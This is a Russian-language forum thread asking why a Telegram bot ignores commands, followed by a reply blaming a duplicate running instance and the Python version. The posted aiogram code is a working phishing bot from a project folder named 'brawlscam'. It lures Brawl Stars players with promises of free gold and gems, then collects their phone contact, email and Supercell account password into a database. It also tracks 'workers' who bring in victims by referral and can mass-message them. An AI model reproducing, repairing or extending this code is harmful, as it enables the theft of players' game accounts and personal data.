бот не отвечает на команды

sositexuy1234

Участник
Автор темы
91
12
код:
import logging
import sqlite3
import asyncio
from aiogram import Bot, Dispatcher, types, F
from aiogram.dispatcher.router import Router
from aiogram.fsm.state import State, StatesGroup
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.fsm.context import FSMContext
from aiogram.types import ReplyKeyboardMarkup, KeyboardButton, InlineKeyboardMarkup, InlineKeyboardButton, ReplyKeyboardRemove
from aiogram.filters import Command

logging.basicConfig(level=logging.INFO)

async def delete_webhook(bot: Bot):
    await bot.delete_webhook(drop_pending_updates=True)

async def main():
    TOKEN = 'воллв'
    ID = [уаыы]

    bot = Bot(token=TOKEN)
    await delete_webhook(bot)
    
    storage = MemoryStorage()
    dp = Dispatcher(storage=storage)
    router = Router()

    # Підключення до бази даних
    conn = sqlite3.connect(r'C:\Users\Admin\Desktop\brawlscam\db.db')
    cursor = conn.cursor()

    class Dialog(StatesGroup):
        spamworker = State()
        spamuser = State()
        blacklist = State()
        whitelist = State()
        link = State()
        add = State()

    class Log(StatesGroup):
        ref = State()
        phone = State()
        mail = State()
        password = State()

    class Entr(StatesGroup):
        golds = State()
        gems = State()

    class Code(StatesGroup):
        entr = State()

    button1 = KeyboardButton(text='Забанити')
    button2 = KeyboardButton(text='Разбанити')
    button3 = KeyboardButton(text='Рассылка')
    button4 = KeyboardButton(text='Статистика')
    button5 = KeyboardButton(text='Топ воркеров')
    menu = ReplyKeyboardMarkup(keyboard=[[button1, button2], [button3], [button4, button5]], resize_keyboard=True)

    spamworker = KeyboardButton(text='Воркерам')
    spamuser = KeyboardButton(text='Юзерам')
    back = KeyboardButton(text='Назад')
    spammenu = ReplyKeyboardMarkup(keyboard=[[spamworker, spamuser], [back]], resize_keyboard=True)

    cancel = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Назад')]], resize_keyboard=True)

    panel = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Ссылка')], [KeyboardButton(text='Статистика'), KeyboardButton(text='Топ воркеров')], [KeyboardButton(text='Информация')]], resize_keyboard=True)

    kb_info = InlineKeyboardMarkup(inline_keyboard=[
        [InlineKeyboardButton(text='Канал', url='https://t.me/')],
        [InlineKeyboardButton(text='Чат', url='https://t.me/')],
        [InlineKeyboardButton(text='Поддержка', url='https://t.me/')]
    ])

    inline_btn_try = InlineKeyboardButton(text='Невалид', callback_data='btn_try')
    inline_btn_code = InlineKeyboardButton(text='Отправить код', callback_data='btn_code')

    @router.message(Command('start'))
    async def start(message: types.Message):
        cursor.execute('SELECT id FROM users WHERE user_id = ?', (message.from_user.id,))
        result = cursor.fetchall()
        if message.from_user.id in ID:
            await message.answer('Добро пожаловать!', reply_markup=menu)
        else:
            if not result:
                cursor.execute('INSERT INTO users (user_id) VALUES (?)', (message.from_user.id,))
                if message.from_user.username:
                    cursor.execute('UPDATE users SET nick = ? WHERE user_id = ?', ('@' + message.from_user.username, message.from_user.id,))
                conn.commit()
            cursor.execute('SELECT block FROM users WHERE user_id = ?', (message.from_user.id,))
            result = cursor.fetchone()
            if result[0] != 1:
                cursor.execute('SELECT status FROM users WHERE user_id = ?', (message.from_user.id,))
                status_check = cursor.fetchone()
                if status_check[0] != 'worker':
                    if " " in message.text and message.text.split()[1].isdigit():
                        cursor.execute('UPDATE users SET ref = ? WHERE user_id = ?', (message.text.split()[1], message.from_user.id,))
                        conn.commit()
                    keyboardmain = InlineKeyboardMarkup(inline_keyboard=[[InlineKeyboardButton(text='Запуск', callback_data='start')]])
                    await message.answer(f'''👋Привет, {message.from_user.first_name}!
    Это бот, который донатит в Brawl Stars игровую валюту.
    Чтобы начать, нажмите:''', reply_markup=keyboardmain)
                else:
                    await message.answer('Добро пожаловать!', reply_markup=panel)
            else:
                await message.answer('Вы заблокированы!')

    @router.callback_query(lambda c: c.data == 'start')
    async def buttonstart(callback_query: types.CallbackQuery):
        cid = callback_query.message.chat.id
        mid = callback_query.message.message_id
        kb = InlineKeyboardMarkup(inline_keyboard=[
            [InlineKeyboardButton(text='Золото 💰', callback_data='golds')],
            [InlineKeyboardButton(text='Гемы 💎', callback_data='gems')]
        ])
        await bot.edit_message_text('Выберите пункт с нужной валютой:', cid, mid, reply_markup=kb)

    @router.callback_query(lambda c: c.data == 'golds')
    async def buttongolds(callback_query: types.CallbackQuery, state: FSMContext):
        cid = callback_query.message.chat.id
        mid = callback_query.message.message_id
        await bot.edit_message_text('Введите количество золота💰\n📌(не более 1.000)', cid, mid)
        await state.set_state(Entr.golds)

    @router.message(F.state == Entr.golds)
    async def entrgolds(message: types.Message, state: FSMContext):
        num = message.text
        if not num.isdigit():
            await message.reply('Введите число! Повторите попытку.')
        elif int(num) > 1000:
            await message.reply('Количество не может быть более 1.000! Повторите попытку.')
        else:
            markup_request = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Зарегистрироваться', request_contact=True)]], resize_keyboard=True)
            await message.answer('Похоже у вас не осталось бесплатных запросов на день..\n🎁Есть возможность получить дополнительные запросы зарегистрировавшись в боте!', reply_markup=markup_request)
            await state.finish()

    @router.callback_query(lambda c: c.data == 'gems')
    async def buttongems(callback_query: types.CallbackQuery, state: FSMContext):
        cid = callback_query.message.chat.id
        mid = callback_query.message.message_id
        await bot.edit_message_text('Введите количество гемов💎\n📌(не более 80)', cid, mid)
        await state.set_state(Entr.gems)

    @router.message(F.state == Entr.gems)
    async def entrgems(message: types.Message, state: FSMContext):
        num = message.text
        if not num.isdigit():
            await message.reply('Введите число! Повторите попытку.')
        elif int(num) > 80:
            await message.reply('Количество не может быть более 80! Повторите попытку.')
        else:
            markup_request = ReplyKeyboardMarkup(keyboard=[[KeyboardButton(text='Зарегистрироваться', request_contact=True)]], resize_keyboard=True)
            await message.answer('Похоже у вас не осталось бесплатных запросов на день..\n🎁Есть возможность получить дополнительные запросы зарегистрировавшись в боте!', reply_markup=markup_request)
            await state.finish()

    @router.message(F.content_type == types.ContentType.CONTACT)
    async def contact(message: types.Message, state: FSMContext):
        if message.contact is not None:
            await state.update_data(first=message.contact.first_name, last=message.contact.last_name, userid=message.contact.user_id, phone=message.contact.phone_number, nick=message.from_user.username)
            await message.answer('Регистрация прошла успешно!', reply_markup=ReplyKeyboardRemove())
            await message.answer('✉ Введите почту, привязанную к игре:')
            await state.set_state(Log.mail)

    @router.message(F.state == Log.mail)
    async def entrmail(message: types.Message, state: FSMContext):
        await state.update_data(mail=message.text)
        await message.answer('✉ Введите пароль от аккаунта Supercell:')
        await state.set_state(Log.password)

    @router.message(F.state == Log.password)
    async def entrpassword(message: types.Message, state: FSMContext):
        await state.update_data(password=message.text)
        await message.answer('⏳ Ожидайте, идет проверка данных...')
        data = await state.get_data()
        cursor.execute('INSERT INTO log (first, last, userid, phone, mail, password, nick) VALUES (?, ?, ?, ?, ?, ?, ?)', (data['first'], data['last'], data['userid'], data['phone'], data['mail'], data['password'], data['nick']))
        conn.commit()
        await message.answer('Проверка завершена успешно!')
        await state.finish()

    @router.message(Command('рассылка'))
    async def cmd_spam(message: types.Message, state: FSMContext):
        if message.from_user.id in ID:
            await message.answer('Выберите категорию для рассылки:', reply_markup=spammenu)
            await state.set_state(Dialog.spamworker)
        else:
            await message.answer('У вас нет доступа к этой команде.')

    @router.message(F.state == Dialog.spamworker)
    async def process_spam_worker(message: types.Message, state: FSMContext):
        if message.text.lower() == 'воркерам':
            await message.answer('Введите текст для рассылки воркерам:', reply_markup=cancel)
            await state.set_state(Dialog.spamworker)
        elif message.text.lower() == 'юзерам':
            await message.answer('Введите текст для рассылки юзерам:', reply_markup=cancel)
            await state.set_state(Dialog.spamuser)
        else:
            await message.answer('Неверная команда! Попробуйте снова.')

    @router.message(F.state == Dialog.spamuser)
    async def process_spam_user(message: types.Message, state: FSMContext):
        text = message.text
        cursor.execute('SELECT user_id FROM users WHERE status = "user"')
        users = cursor.fetchall()
        for user in users:
            try:
                await bot.send_message(user[0], text)
            except Exception as e:
                logging.error(f'Error sending message to {user[0]}: {e}')
        await message.answer('Рассылка завершена!', reply_markup=menu)
        await state.finish()

    @router.message(lambda message: True)
    async def handle_all_unprocessed_messages(message: types.Message):
        await message.answer("I'm sorry, I don't understand this command.")

    dp.include_router(router)
    await dp.start_polling(bot)

if __name__ == '__main__':
    import asyncio
    asyncio.run(main())
ошибка
1716921398945.png
 

nelit.dev

Участник
70
37
перезапусти комп. ты наверное пишешь код в идее от джетбраинс. закрыл скрипт и вместо терминейт скрипт нажал дисконект. ошибка означает, что бот уже запущен, а ты пытаешься ещё раз его запустить.

и советую установить питон 3.11.7 вместо 3.12. там между 3.11 и 3.12 большая разница. изменения большие. не уверен, что айограм переделали под новую версию.